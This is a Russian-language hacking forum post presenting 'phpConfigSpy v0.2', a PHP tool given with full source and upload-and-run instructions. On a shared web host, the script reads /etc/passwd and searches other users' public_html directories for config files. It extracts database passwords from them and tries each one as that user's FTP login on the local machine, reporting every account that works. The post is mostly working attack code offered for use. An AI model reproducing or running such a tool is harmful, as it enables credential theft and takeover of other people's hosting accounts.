phpConfigSpy v0.2

Discussion in 'PHP' started by OptimaPrime, 31 Jan 2008.

  1. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    [Описание]

    phpConfigSpy - скрипт, автоматизирующий процесс поиска файлов конфигурации (например, config.php) форумов, досок объявлений, админ панелей в директориях вида /home/имя_пользователя/public_html и всех подкаталогов, если они доступны для чтения пользователю, под правами которого запущен скрипт.
    После того как скрипт находит файл по маске, которую без труда можно изменить, как и параметры директорийй для поиска, он ищет в файле конфигурации пароль по шаблону (например, $password = "preved"), если пароль найден, то скрипт пробует пройти аутентификацию на фтп сервере машины, на которой запущен скрипт, в качестве логина и пароля, используется имя пользователя, в директории которого был найден конфигурационный файл, а в качестве пароля - пароль, найденный в файле конфигурации.
    Если аутентификация прошла успешно, то скрипт выдаёт уведомление о полученном фтп аккаунте.

    [Source]

    Code:
    <?php
    /*
    phpConfigSpy v0.2
    coded by p-range #645552
    (c) http://p-range.info
    */
    echo '<html><head><title>phpConfigSpy v0.2</title></head><body>';
    ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
    set_time_limit(0);
    ###################
    @$passwd = fopen('/etc/passwd','r');
    if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
    $pub = array();
    $users = array();
    $conf = array();
    $i = 0;
    while(!feof($passwd))
    {
    $str = fgets($passwd);
     if ($i > 35)
     {
      $pos = strpos($str,':');
      $username = substr($str,0,$pos);
      $dirz = '/home/'.$username.'/public_html/';
      if (($username != ''))
      {
       if (is_readable($dirz))
       {
        array_push($users,$username);
        array_push($pub,$dirz);
       }
      }
       }
    $i++;
    }
    ###################
    echo '<br><br><textarea cols="100" rows="20">';
    echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
    echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
    echo "[~] Searching for passwords in config files...\n\n";
    foreach ($users as $user)
    {
    $path = "/home/$user/public_html/";
    read_dir($path,$user);
    }
    echo "\n[+] Done\n";
    function read_dir($path,$username)
    {
    if ($handle = opendir($path))
    {
     while (false !== ($file = readdir($handle)))
     {
      $fpath = "$path$file";
      if (($file != '.') and ($file != '..'))
      {
       if (is_readable($fpath))
       {
        $dr = $fpath."/";
        if (is_dir($dr))
        {
         read_dir($dr,$username);
        }
        else
        {
                            if (
                             ($file=='config.php')
                            or ($file=='config.inc.php')
                            or ($file=='conf.php')
                            or ($file=='settings.php')
                            or ($file=='setup.php')
                            or ($file=='dbconf.php')
                            or ($file=='dbconfig.php')
                            or ($file=='db.inc.php')
                            or ($file=='dbconnect.php')
                            or ($file=='connect.php')
                            or ($file=='index.php')
                            or ($file=='common.php')
                            or ($file=='config_global.php')
                            or ($file=='db.php')
                            or ($file=='connect.inc.php')
                            or ($file=='dbconnect.inc.php'))
                           {
          $pass = get_pass($fpath);
          if ($pass != '')
          {
           echo "[+] $fpath\n$pass\n";
           ftp_check($username,$pass);
          }
         }
        }
       }
      }
     }
    }
    }
    function get_pass($link)
    {
    @$config = fopen($link,'r');
    while(!feof($config))
    {
     $line = fgets($config);
     if (strstr($line,'pass')
     or strstr($line,'pwd')
     or strstr($line,'db_pass')
     or strstr($line,'dbpass')
     or strstr($line,'passwd'))
     {
      if (strrpos($line,'"'))
      {
       preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);
       $pass = str_replace("]=\"","",$pass);
      }
     
      else
       preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
       $pass = str_replace("]='","",$pass);
      return $pass[2];
     }
    }
    }
    function ftp_check($login,$pass)
    {
    @$ftp = ftp_connect('127.0.0.1');
    if ($ftp)
    {
     @$res = ftp_login($ftp,$login,$pass);
     if ($res)
     {
      echo '[FTP] '.$login.':'.$pass."  Success !\n";
     }
     else ftp_quit($ftp);
    }
    }
    echo '</textarea><br><br>Coded by <b>$re@m3r</b> & <b>p-range</b>  <a href=http://p-range.info>p-range.info</a></body></html>';
    ?>
    [Установка]

    phpConfigSpy работает только при SAFE_MODE = OFF.
    Для установки просто отредактируйте 24 строку скрипта:
    и 43 стоку:
    на соответствующий путь до веб-директории пользователей.
    Затем заливайте на сервер и запускайте через браузер.

    [Что нового]

    В новой версии исправлены баги, при которых в некоторых случаях пароль выбирался не полностью или с ошибками. Улучшена система поиска паролей.
    Coded by p-range & $re@m3r​
     
    3 people like this.